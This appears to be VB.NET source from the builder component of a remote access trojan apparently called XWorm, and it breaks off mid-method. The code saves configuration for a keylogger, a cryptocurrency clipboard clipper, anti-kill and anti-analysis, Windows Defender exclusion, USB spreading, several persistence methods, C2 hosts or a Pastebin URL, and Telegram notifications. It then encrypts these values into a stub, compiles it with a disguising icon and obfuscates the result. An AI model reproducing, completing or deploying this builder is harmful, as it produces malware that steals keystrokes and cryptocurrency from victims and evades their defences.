806 lines
33 KiB
VB.net
806 lines
33 KiB
VB.net
|
Imports System.CodeDom.Compiler
|
||
|
|
Imports System.IO
|
||
|
|
Imports System.Security.Cryptography
|
||
|
|
Imports System.Text
|
||
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
||
|
|
|
||
|
|
Public Class Builder
|
||
|
|
|
||
|
|
Public Sub New()
|
||
|
|
InitializeComponent()
|
||
|
|
Opacity = 0
|
||
|
|
FadeIn(Me, 20)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public iconpath As String
|
||
|
|
Public assm As String
|
||
|
|
|
||
|
|
Public xform As Boolean = False
|
||
|
|
Public xform2 As Boolean = False
|
||
|
|
|
||
|
|
Public Botid As String
|
||
|
|
Public BotToken As String
|
||
|
|
|
||
|
|
Public BTC As String
|
||
|
|
Public ETH As String
|
||
|
|
Public TRC20 As String
|
||
|
|
|
||
|
|
Private Sub Builder_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||
|
|
Try
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = "False" Then
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
Else
|
||
|
|
assm = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing)
|
||
|
|
xform = True
|
||
|
|
Guna2CheckBox1.Checked = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = "False" Then
|
||
|
|
iconpath = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Else
|
||
|
|
iconpath = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing)
|
||
|
|
xform2 = True
|
||
|
|
Guna2CheckBox2.Checked = True
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = "False" Then
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
Guna2ComboBox2.SelectedIndex = 0
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.SelectedIndex = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing))
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox5.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = "False" Then
|
||
|
|
Guna2ToggleSwitch6.Checked = False
|
||
|
|
Else
|
||
|
|
BTC = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
|
||
|
|
ETH = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
|
||
|
|
TRC20 = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
|
||
|
|
Guna2ToggleSwitch6.Checked = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Keylogger", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch2.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch2.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "AntiKill", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch3.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch3.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "WDEX", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch4.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch4.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Obfuscator", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox4.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2CheckBox4.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Startup", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox6.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2CheckBox6.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Reg", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox5.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox5.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Task", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox7.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox7.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Analysis", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch1.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch1.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing) = Nothing Then
|
||
|
|
ListBox1.Items.Add("127.0.0.1")
|
||
|
|
Else
|
||
|
|
Dim Hosts As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing)
|
||
|
|
For Each SPL In Strings.Split(Hosts, ",")
|
||
|
|
If Not String.IsNullOrEmpty(SPL) Then
|
||
|
|
ListBox1.Items.Add(SPL)
|
||
|
|
End If
|
||
|
|
Next
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox7.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing) = Nothing Then
|
||
|
|
Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Pastebin", Nothing) = "True" Then
|
||
|
|
|
||
|
|
Guna2TextBox2.Enabled = False
|
||
|
|
ListBox1.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = False
|
||
|
|
Guna2CheckBox3.Checked = True
|
||
|
|
Guna2TextBox4.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox2.Enabled = True
|
||
|
|
ListBox1.Enabled = True
|
||
|
|
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = True
|
||
|
|
|
||
|
|
Guna2CheckBox3.Checked = False
|
||
|
|
Guna2TextBox4.Enabled = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox6.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBE", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox8.Checked = True
|
||
|
|
Guna2TextBox6.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox8.Checked = False
|
||
|
|
Guna2TextBox6.Enabled = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Sub Compiler(ByVal Path As String, ByVal Code As String)
|
||
|
|
Try
|
||
|
|
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
|
||
|
|
providerOptions.Add("CompilerVersion", "v4.0")
|
||
|
|
Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
|
||
|
|
Dim Parameters As New CompilerParameters
|
||
|
|
Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
|
||
|
|
With Parameters
|
||
|
|
.GenerateExecutable = True
|
||
|
|
.OutputAssembly = Path
|
||
|
|
.CompilerOptions = OP
|
||
|
|
.IncludeDebugInformation = False
|
||
|
|
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.dll")
|
||
|
|
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Management.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Drawing.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Core.dll")
|
||
|
|
|
||
|
|
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
|
||
|
|
If Results.Errors.Count > 0 Then
|
||
|
|
For Each E In Results.Errors
|
||
|
|
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
|
||
|
|
Exit Sub
|
||
|
|
Next
|
||
|
|
End If
|
||
|
|
End With
|
||
|
|
|
||
|
|
If Guna2CheckBox2.Checked = True Then
|
||
|
|
IconInjector.InjectIcon(Path, iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox4.Checked = True Then
|
||
|
|
Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
|
||
|
|
End If
|
||
|
|
|
||
|
|
GC.Collect()
|
||
|
|
|
||
|
|
Dim myFile As New FileInfo(Path)
|
||
|
|
|
||
|
|
|
||
|
|
Dim finalPath As String = Path
|
||
|
|
|
||
|
|
Hide()
|
||
|
|
Catch ex As Exception
|
||
|
|
MessageBox.Show(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function Encrypt(ByVal input As String, ByVal Pass As String)
|
||
|
|
Dim AES As New RijndaelManaged
|
||
|
|
Dim Hash_AES As New MD5CryptoServiceProvider
|
||
|
|
Dim encrypted As String = ""
|
||
|
|
Dim hash(31) As Byte
|
||
|
|
Dim temp As Byte() = Hash_AES.ComputeHash(SBUTF8(Pass))
|
||
|
|
Array.Copy(temp, 0, hash, 0, 16)
|
||
|
|
Array.Copy(temp, 0, hash, 15, 16)
|
||
|
|
AES.Key = hash
|
||
|
|
AES.Mode = CipherMode.ECB
|
||
|
|
Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
|
||
|
|
Dim Buffer As Byte() = SBUTF8(input)
|
||
|
|
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
|
||
|
|
Return encrypted
|
||
|
|
End Function
|
||
|
|
Private Function SBUTF8(ByVal s As String) As Byte()
|
||
|
|
Return System.Text.Encoding.UTF8.GetBytes(s)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox8_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox8.CheckedChanged
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
Guna2TextBox6.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox6.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged
|
||
|
|
|
||
|
|
If xform2 = True Then
|
||
|
|
xform2 = False
|
||
|
|
Return
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox2.Checked = True Then
|
||
|
|
Dim OfD As New OpenFileDialog
|
||
|
|
With OfD
|
||
|
|
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
||
|
|
.InitialDirectory = Application.StartupPath & "\Icons"
|
||
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
||
|
|
If OfD.FileName.EndsWith(".exe") Then
|
||
|
|
iconpath = GetIcon(OfD.FileName)
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
GC.Collect()
|
||
|
|
Else
|
||
|
|
iconpath = OfD.FileName
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
Else
|
||
|
|
iconpath = Nothing
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
End With
|
||
|
|
|
||
|
|
|
||
|
|
End If
|
||
|
|
If Guna2CheckBox2.Checked = False Then
|
||
|
|
iconpath = Nothing
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged
|
||
|
|
|
||
|
|
If xform = True Then
|
||
|
|
xform = False
|
||
|
|
Return
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox1.Checked = True Then
|
||
|
|
Dim OfD As New OpenFileDialog
|
||
|
|
With OfD
|
||
|
|
.Filter = "(*.exe|*.exe"
|
||
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
||
|
|
assm = OfD.FileName
|
||
|
|
Guna2CheckBox1.Checked = True
|
||
|
|
Else
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
End If
|
||
|
|
End With
|
||
|
|
|
||
|
|
|
||
|
|
End If
|
||
|
|
If Guna2CheckBox1.Checked = False Then
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox3_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox3.CheckedChanged
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
Guna2TextBox2.Enabled = False
|
||
|
|
ListBox1.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox4.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox2.Enabled = True
|
||
|
|
ListBox1.Enabled = True
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = True
|
||
|
|
|
||
|
|
Guna2TextBox4.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||
|
|
Try
|
||
|
|
If Guna2TextBox1.Text.Length > 32 Or ((Guna2TextBox1.Text.Length) < 1) Then
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
Else
|
||
|
|
Guna2GradientButton1.Enabled = True
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||
|
|
Try
|
||
|
|
If e.KeyCode = Keys.Enter Then
|
||
|
|
e.SuppressKeyPress = True
|
||
|
|
|
||
|
|
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||
|
|
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) OrElse String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||
|
|
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||
|
|
Guna2TextBox2.Clear()
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox3_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox3.TextChanged
|
||
|
|
Try
|
||
|
|
Dim num As Integer = Conversions.ToInteger(Guna2TextBox3.Text)
|
||
|
|
If ((Conversions.ToInteger(Guna2TextBox3.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox3.Text) < 1)) Then
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
Else
|
||
|
|
Guna2GradientButton1.Enabled = True
|
||
|
|
End If
|
||
|
|
Catch exception1 As Exception
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox6_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox6.CheckedChanged
|
||
|
|
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox5_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox5.CheckedChanged
|
||
|
|
If Guna2CheckBox5.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox7_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox7.CheckedChanged
|
||
|
|
If Guna2CheckBox7.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||
|
|
|
||
|
|
If ListBox1.Items.Count > 0 Or Guna2CheckBox3.Checked = True Then
|
||
|
|
|
||
|
|
Dim Str As String = ""
|
||
|
|
|
||
|
|
Try
|
||
|
|
Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
|
||
|
|
.Filter = "(*.exe)|*.exe",
|
||
|
|
.OverwritePrompt = False,
|
||
|
|
.FileName = "XWormClient.exe"
|
||
|
|
}
|
||
|
|
|
||
|
|
If saveFileDialog.ShowDialog() = DialogResult.OK Then
|
||
|
|
Try
|
||
|
|
|
||
|
|
If ListBox1.Items.Count > 0 Then
|
||
|
|
For Each Hosts In ListBox1.Items
|
||
|
|
Str &= Hosts & ","
|
||
|
|
Next
|
||
|
|
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Hosts", Str)
|
||
|
|
End If
|
||
|
|
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Port", Guna2TextBox3.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Key", Guna2TextBox1.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Group", Guna2TextBox7.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBN", Guna2TextBox6.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Url", Guna2TextBox4.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Sleep", Guna2NumericUpDown1.Value.ToString)
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox5.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox7.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", Guna2ComboBox2.SelectedIndex.ToString)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", "False")
|
||
|
|
End If
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallStr", Guna2TextBox5.Text)
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch1.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If assm = Nothing Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", "False")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", assm)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If iconpath = Nothing Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", "False")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch6.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "True")
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BTC", BTC)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ETH", ETH)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TRC20", TRC20)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch5.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "True")
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BotToken", BotToken)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Botid", Botid)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch2.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch3.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch4.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox4.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
|
||
|
|
|
||
|
|
Dim Source = My.Resources.Stub
|
||
|
|
Dim validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
|
||
|
|
Dim sb As New StringBuilder()
|
||
|
|
Dim rand As New Random()
|
||
|
|
For i As Integer = 1 To 16
|
||
|
|
Dim idx As Integer = rand.Next(0, validchars.Length)
|
||
|
|
Dim randomChar As Char = validchars(idx)
|
||
|
|
sb.Append(randomChar)
|
||
|
|
Next i
|
||
|
|
|
||
|
|
Dim randomString = sb.ToString()
|
||
|
|
|
||
|
|
Source = Source.Replace("%Mutex%", randomString)
|
||
|
|
|
||
|
|
Source = Source.Replace("%USB%", Encrypt(Guna2TextBox6.Text, randomString))
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Pastebin = False", "#Const Pastebin = True")
|
||
|
|
Source = Source.Replace("%PasteUrl%", Encrypt(Guna2TextBox4.Text, randomString))
|
||
|
|
Else
|
||
|
|
Source = Source.Replace("%Hosts%", Encrypt(Str.Trim().Substring(0, Str.Length - 1), randomString))
|
||
|
|
Source = Source.Replace("%Port%", Encrypt(Guna2TextBox3.Text, randomString))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
Source = Source.Replace("%KEY%", Encrypt(Guna2TextBox1.Text, randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%Group%", Encrypt(Guna2TextBox7.Text, randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%SPL%", Encrypt("<XWormmm>", randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%Sleep%", Guna2NumericUpDown1.Value.ToString)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const USBLNK = False", "#Const USBLNK = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked = True Then
|
||
|
|
